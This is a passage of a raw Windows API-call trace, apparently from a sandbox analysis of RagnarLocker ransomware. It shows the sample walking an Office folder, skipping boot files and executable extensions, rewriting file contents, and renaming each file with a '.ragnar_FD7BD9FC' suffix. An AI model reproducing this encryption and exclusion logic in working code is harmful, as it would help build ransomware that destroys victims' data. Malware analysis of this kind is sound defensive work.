lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0061.962] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0061.962] GetProcessHeap () returned 0x580000 [0061.962] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0061.962] CloseHandle (hObject=0x108) returned 1 [0061.963] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" [0061.963] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.ragnar_FD7BD9FC" [0061.963] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0061.963] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.XML", cAlternateFileName="OFFICE~2.XML")) returned 1 [0061.963] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x64 [0061.963] lstrcpyW (in: lpString1=0x1ea0d2, lpString2="OfficeMUISet.XML" | out: lpString1="OfficeMUISet.XML") returned="OfficeMUISet.XML" [0061.963] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned=".XML" [0061.963] lstrcmpiW (lpString1="OfficeMUISet.XML", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0061.963] lstrcmpiW (lpString1="OfficeMUISet.XML", lpString2="autorun.inf") returned 1 [0061.964] lstrcmpiW (lpString1="OfficeMUISet.XML", lpString2="boot.ini") returned 1 [0061.964] lstrcmpiW (lpString1="OfficeMUISet.XML", lpString2="bootfont.bin") returned 1 [0061.964] lstrcmpiW (lpString1="OfficeMUISet.XML", lpString2="bootsect.bak") returned 1 [0061.964] lstrcmpiW (lpString1="OfficeMUISet.XML", lpString2="bootmgr") returned 1 [0061.964] lstrcmpiW (lpString1="OfficeMUISet.XML", lpString2="bootmgr.efi") returned 1 [0061.964] lstrcmpiW (lpString1="OfficeMUISet.XML", lpString2="bootmgfw.efi") returned 1 [0061.964] lstrcmpiW (lpString1="OfficeMUISet.XML", lpString2="desktop.ini") returned 1 [0061.964] lstrcmpiW (lpString1="OfficeMUISet.XML", lpString2="iconcache.db") returned 1 [0061.964] lstrcmpiW (lpString1="OfficeMUISet.XML", lpString2="ntldr") returned 1 [0061.964] lstrcmpiW (lpString1="OfficeMUISet.XML", lpString2="ntuser.dat") returned 1 [0061.964] lstrcmpiW (lpString1="OfficeMUISet.XML", lpString2="ntuser.dat.log") returned 1 [0061.964] lstrcmpiW (lpString1="OfficeMUISet.XML", lpString2="ntuser.ini") returned 1 [0061.964] lstrcmpiW (lpString1="OfficeMUISet.XML", lpString2="thumbs.db") returned -1 [0061.964] lstrcmpiW (lpString1=".XML", lpString2=".db") returned 1 [0061.964] lstrcmpiW (lpString1=".XML", lpString2=".sys") returned 1 [0061.964] lstrcmpiW (lpString1=".XML", lpString2=".dll") returned 1 [0061.964] lstrcmpiW (lpString1=".XML", lpString2=".lnk") returned 1 [0061.964] lstrcmpiW (lpString1=".XML", lpString2=".msi") returned 1 [0061.964] lstrcmpiW (lpString1=".XML", lpString2=".drv") returned 1 [0061.964] lstrcmpiW (lpString1=".XML", lpString2=".exe") returned 1 [0061.964] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml")) returned 0x20 [0061.964] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x108 [0061.964] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=819) returned 1 [0061.964] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x32a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.964] GetProcessHeap () returned 0x580000 [0061.964] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0061.965] ReadFile (in: hFile=0x108, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0061.967] VirtualAlloc (lpAddress=0x0, dwSize=0x333, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0061.967] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.967] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0061.967] ReadFile (in: hFile=0x108, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x333, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0x333, lpOverlapped=0x0) returned 1 [0061.967] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0061.967] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x333, nNumberOfBytesToLockHigh=0x0) returned 1 [0061.967] WriteFile (in: hFile=0x108, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x333, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0x333, lpOverlapped=0x0) returned 1 [0061.967] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x333, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0061.967] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.968] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x333, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.968] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0061.968] WriteFile (in: hFile=0x108, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0061.968] WriteFile (in: hFile=0x108, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0061.968] WriteFile (in: hFile=0x108, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0061.968] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0061.968] GetProcessHeap () returned 0x580000 [0061.968] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0061.968] CloseHandle (hObject=0x108) returned 1 [0061.969] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" [0061.969] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.ragnar_FD7BD9FC" [0061.969] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0061.969] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSETUPUI.DLL", cAlternateFileName="")) returned 1 [0061.969] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x64 [0061.969] lstrcpyW (in: lpString1=0x1ea0d2, lpString2="OSETUPUI.DLL" | out: lpString1="OSETUPUI.DLL") returned="OSETUPUI.DLL" [0061.969] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL") returned=".DLL" [0061.969] lstrcmpiW (lpString1="OSETUPUI.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0061.969] lstrcmpiW (lpString1="OSETUPUI.DLL", lpString2="autorun.inf") returned 1 [0061.969] lstrcmpiW (lpString1="OSETUPUI.DLL", lpString2="boot.ini") returned 1 [0061.970] lstrcmpiW (lpString1="OSETUPUI.DLL", lpString2="bootfont.bin") returned 1 [0061.970] lstrcmpiW (lpString1="OSETUPUI.DLL", lpString2="bootsect.bak") returned 1 [0061.970] lstrcmpiW (lpString1="OSETUPUI.DLL", lpString2="bootmgr") returned 1 [0061.970] lstrcmpiW (lpString1="OSETUPUI.DLL", lpString2="bootmgr.efi") returned 1 [0061.970] lstrcmpiW (lpString1="OSETUPUI.DLL", lpString2="bootmgfw.efi") returned 1 [0061.970] lstrcmpiW (lpString1="OSETUPUI.DLL", lpString2="desktop.ini") returned 1 [0061.970] lstrcmpiW (lpString1="OSETUPUI.DLL", lpString2="iconcache.db") returned 1 [0061.970] lstrcmpiW (lpString1="OSETUPUI.DLL", lpString2="ntldr") returned 1 [0061.970] lstrcmpiW (lpString1="OSETUPUI.DLL", lpString2="ntuser.dat") returned 1 [0061.970] lstrcmpiW (lpString1="OSETUPUI.DLL", lpString2="ntuser.dat.log") returned 1 [0061.970] lstrcmpiW (lpString1="OSETUPUI.DLL", lpString2="ntuser.ini") returned 1 [0061.970] lstrcmpiW (lpString1="OSETUPUI.DLL", lpString2="thumbs.db") returned -1 [0061.970] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0061.970] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0061.970] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0061.970] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4804a00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd4804a00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x3d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="promointl.dll", cAlternateFileName="PROMOI~1.DLL")) returned 1 [0061.970] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x64 [0061.970] lstrcpyW (in: lpString1=0x1ea0d2, lpString2="promointl.dll" | out: lpString1="promointl.dll") returned="promointl.dll" [0061.970] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll") returned=".dll" [0061.970] lstrcmpiW (lpString1="promointl.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0061.970] lstrcmpiW (lpString1="promointl.dll", lpString2="autorun.inf") returned 1 [0061.970] lstrcmpiW (lpString1="promointl.dll", lpString2="boot.ini") returned 1 [0061.970] lstrcmpiW (lpString1="promointl.dll", lpString2="bootfont.bin") returned 1 [0061.970] lstrcmpiW (lpString1="promointl.dll", lpString2="bootsect.bak") returned 1 [0061.970] lstrcmpiW (lpString1="promointl.dll", lpString2="bootmgr") returned 1 [0061.970] lstrcmpiW (lpString1="promointl.dll", lpString2="bootmgr.efi") returned 1 [0061.970] lstrcmpiW (lpString1="promointl.dll", lpString2="bootmgfw.efi") returned 1 [0061.970] lstrcmpiW (lpString1="promointl.dll", lpString2="desktop.ini") returned 1 [0061.970] lstrcmpiW (lpString1="promointl.dll", lpString2="iconcache.db") returned 1 [0061.970] lstrcmpiW (lpString1="promointl.dll", lpString2="ntldr") returned 1 [0061.970] lstrcmpiW (lpString1="promointl.dll", lpString2="ntuser.dat") returned 1 [0061.970] lstrcmpiW (lpString1="promointl.dll", lpString2="ntuser.dat.log") returned 1 [0061.971] lstrcmpiW (lpString1="promointl.dll", lpString2="ntuser.ini") returned 1 [0061.971] lstrcmpiW (lpString1="promointl.dll", lpString2="thumbs.db") returned -1 [0061.971] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0061.971] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0061.971] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0061.971] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d0b6300, ftCreationTime.dwHighDateTime=0x1ca9107, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2d0b6300, ftLastWriteTime.dwHighDateTime=0x1ca9107, nFileSizeHigh=0x0, nFileSizeLow=0x9339, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSCONFIG.CHM", cAlternateFileName="")) returned 1 [0061.971] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x64 [0061.971] lstrcpyW (in: lpString1=0x1ea0d2, lpString2="PSCONFIG.CHM" | out: lpString1="PSCONFIG.CHM") returned="PSCONFIG.CHM" [0061.971] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned=".CHM" [0061.971] lstrcmpiW (lpString1="PSCONFIG.CHM", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0061.971] lstrcmpiW (lpString1="PSCONFIG.CHM", lpString2="autorun.inf") returned 1 [0061.971] lstrcmpiW (lpString1="PSCONFIG.CHM", lpString2="boot.ini") returned 1 [0061.971] lstrcmpiW (lpString1="PSCONFIG.CHM", lpString2="bootfont.bin") returned 1 [0061.971] lstrcmpiW (lpString1="PSCONFIG.CHM", lpString2="bootsect.bak") returned 1 [0061.971] lstrcmpiW (lpString1="PSCONFIG.CHM", lpString2="bootmgr") returned 1 [0061.971] lstrcmpiW (lpString1="PSCONFIG.CHM", lpString2="bootmgr.efi") returned 1 [0061.971] lstrcmpiW (lpString1="PSCONFIG.CHM", lpString2="bootmgfw.efi") returned 1 [0061.971] lstrcmpiW (lpString1="PSCONFIG.CHM", lpString2="desktop.ini") returned 1 [0061.971] lstrcmpiW (lpString1="PSCONFIG.CHM", lpString2="iconcache.db") returned 1 [0061.971] lstrcmpiW (lpString1="PSCONFIG.CHM", lpString2="ntldr") returned 1 [0061.971] lstrcmpiW (lpString1="PSCONFIG.CHM", lpString2="ntuser.dat") returned 1 [0061.971] lstrcmpiW (lpString1="PSCONFIG.CHM", lpString2="ntuser.dat.log") returned 1 [0061.971] lstrcmpiW (lpString1="PSCONFIG.CHM", lpString2="ntuser.ini") returned 1 [0061.971] lstrcmpiW (lpString1="PSCONFIG.CHM", lpString2="thumbs.db") returned -1 [0061.971] lstrcmpiW (lpString1=".CHM", lpString2=".db") returned -1 [0061.971] lstrcmpiW (lpString1=".CHM", lpString2=".sys") returned -1 [0061.972] lstrcmpiW (lpString1=".CHM", lpString2=".dll") returned -1 [0061.972] lstrcmpiW (lpString1=".CHM", lpString2=".lnk") returned -1 [0061.972] lstrcmpiW (lpString1=".CHM", lpString2=".msi") returned -1 [0061.972] lstrcmpiW (lpString1=".CHM", lpString2=".drv") returned -1 [0061.972] lstrcmpiW (lpString1=".CHM", lpString2=".exe") returned -1 [0061.972] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm")) returned 0x20 [0061.972] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x108 [0061.973] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=37689) returned 1 [0061.973] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x9330, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.973] GetProcessHeap () returned 0x580000 [0061.973] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0061.973] ReadFile (in: hFile=0x108, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0061.974] VirtualAlloc (lpAddress=0x0, dwSize=0x9339, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0061.974] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.974] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0061.974] ReadFile (in: hFile=0x108, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x9339, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0x9339, lpOverlapped=0x0) returned 1 [0061.975] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0061.976] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9339, nNumberOfBytesToLockHigh=0x0) returned 1 [0061.976] WriteFile (in: hFile=0x108, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x9339, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0x9339, lpOverlapped=0x0) returned 1 [0061.976] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9339, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0061.976] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.976] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x9339, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.976] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0061.976] WriteFile (in: hFile=0x108, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0061.976] WriteFile (in: hFile=0x108, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0061.977] WriteFile (in: hFile=0x108, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0061.977] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0061.977] GetProcessHeap () returned 0x580000 [0061.977] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0061.977] CloseHandle (hObject=0x108) returned 1 [0061.978] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" [0061.978] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.ragnar_FD7BD9FC" [0061.978] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0061.978] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a8bce00, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7a8bce00, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6931, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSS10O.CHM", cAlternateFileName="")) returned 1 [0061.978] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft 